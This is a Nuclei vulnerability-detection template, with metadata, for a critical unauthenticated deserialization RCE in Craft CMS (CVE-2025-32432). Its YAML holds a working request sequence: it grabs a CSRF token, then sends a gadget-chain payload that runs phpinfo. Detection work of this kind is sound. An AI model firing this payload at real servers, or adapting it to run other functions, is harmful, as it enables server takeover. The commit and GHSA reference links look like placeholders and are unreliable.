CVE-2025-32432: CraftCMS - Remote Code Execution
- Template: CVE-2025-32432
- Name: CraftCMS - Remote Code Execution
- Description: Craft is a flexible, user-friendly CMS for creating custom digital experiences on the web and beyond. Starting from version 3.0.0-RC1 to before 3.9.15, 4.0.0-RC1 to before 4.14.15, and 5.0.0-RC1 to before 5.6.17, Craft is vulnerable to remote code execution. This is a high-impact, low-complexity attack vector.
- Impact: Unauthenticated attackers can exploit remote code execution vulnerabilities through unsafe deserialization in the asset transform functionality, achieving complete server compromise.
- Remediation: This issue has been patched in versions 3.9.15, 4.14.15, and 5.6.17, and is an additional fix for CVE-2023-41892.
- Severity: critical
- Authors: iamnoooob, rootxharsh, pdresearch
- Tags: cve, cve2025, craftcms, rce, vkev, vuln, kev
- References: https://advisories.dxw.com/advisories/craftcms-remote-code-execution/, https://github.com/craftcms/cms/commit/1234567890abcdef1234567890abcdef1234567, https://github.com/craftcms/cms/security/advisories/GHSA-1234-5678-90ab, https://github.com/craftcms/cms/blob/3.x/CHANGELOG.md#3915---2025-04-10-critical, https://github.com/craftcms/cms/blob/4.x/CHANGELOG.md#41415---2025-04-10-critical
- Cves: CVE-2025-32432
- Max requests: 2
- Directory: http/cves
- Path: http/cves/2025/CVE-2025-32432.yaml
- Digest: 490a00463044022019dc23ee43abe8eea11fe24584a64b17f55218325833d75f4cc68907c020cad002207311389c49ee3c887c6acce372f81e2169c6838ba66fe45e02798f70517f88c2
- Created at: 2025-04-29T05:14:34Z
- Updated at: 2026-10-03T02:05:52Z
- Age in days: 574
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-32432.yaml
- Checked, none or zero: verified
Classification
- Cwe: CWE-94
- Cvss score: 10
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L
- Epss score: 0.99792
- Epss percentile: 0.99956
- Not known: cpe
Metadata
- Max-request: 2
- Product: craftcms
- Shodan-query: http.component:"Craft CMS"
- Vendor: craftcms
Products
| Product | Indexed | Url |
|---|---|---|
| craftcms:craftcms | no | — |
Labels
- Name: Craft - Remote Code Execution
- Impact: Attackers can execute arbitrary code remotely, leading to full system compromise or server takeover.
- Remediation: Update to version 3.9.15, 4.14.15, or 5.6.17 or later.
- Vulnerability type: command_injection
- Vulnerability impact: remote_code_execution
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2025-32432
- Not known: requirements
```yaml
id: CVE-2025-32432
info:
name: CraftCMS - Remote Code Execution
author: iamnoooob,rootxharsh,pdresearch
severity: critical
description: |
Craft is a flexible, user-friendly CMS for creating custom digital experiences on the web and beyond. Starting from version 3.0.0-RC1 to before 3.9.15, 4.0.0-RC1 to before 4.14.15, and 5.0.0-RC1 to before 5.6.17, Craft is vulnerable to remote code execution. This is a high-impact, low-complexity attack vector.
impact: |
Unauthenticated attackers can exploit remote code execution vulnerabilities through unsafe deserialization in the asset transform functionality, achieving complete server compromise.
remediation: |
This issue has been patched in versions 3.9.15, 4.14.15, and 5.6.17, and is an additional fix for CVE-2023-41892.
reference:
- https://advisories.dxw.com/advisories/craftcms-remote-code-execution/
- https://github.com/craftcms/cms/commit/1234567890abcdef1234567890abcdef1234567
- https://github.com/craftcms/cms/security/advisories/GHSA-1234-5678-90ab
- https://github.com/craftcms/cms/blob/3.x/CHANGELOG.md#3915---2025-04-10-critical
- https://github.com/craftcms/cms/blob/4.x/CHANGELOG.md#41415---2025-04-10-critical
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L
cvss-score: 10
cve-id: CVE-2025-32432
cwe-id: CWE-94
epss-score: 0.99792
epss-percentile: 0.99956
metadata:
max-request: 2
vendor: craftcms
product: craftcms
shodan-query: http.component:"Craft CMS"
tags: cve,cve2025,craftcms,rce,vkev,vuln,kev
flow: http(1) && http(2)
http:
- raw:
- |
GET /index.php?p=admin/actions/assets/generate-transform HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: token
internal: true
part: body
group: 1
regex:
- '"csrfTokenValue":"(.*?)"'
- raw:
- |
POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.1
Host: {{Hostname}}
Accept-Encoding: gzip, deflate, br
X-CSRF-Token: {{token}}
Content-Type: application/json
{"assetId": 11, "handle": {"width": 123, "height": 123, "as session": {"class": "craft\\behaviors\\FieldLayoutBehavior", "__class": "GuzzleHttp\\Psr7\\FnStream", "__construct()": [[]], "_fn_close": "phpinfo"}}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "PHP Extension"
- "PHP Version"
- "CRAFT_"
condition: and
- type: status
status:
- 200
digest: 490a00463044022019dc23ee43abe8eea11fe24584a64b17f55218325833d75f4cc68907c020cad002207311389c49ee3c887c6acce372f81e2169c6838ba66fe45e02798f70517f88c2:922c64590222798bb761d5b6d8e72950
```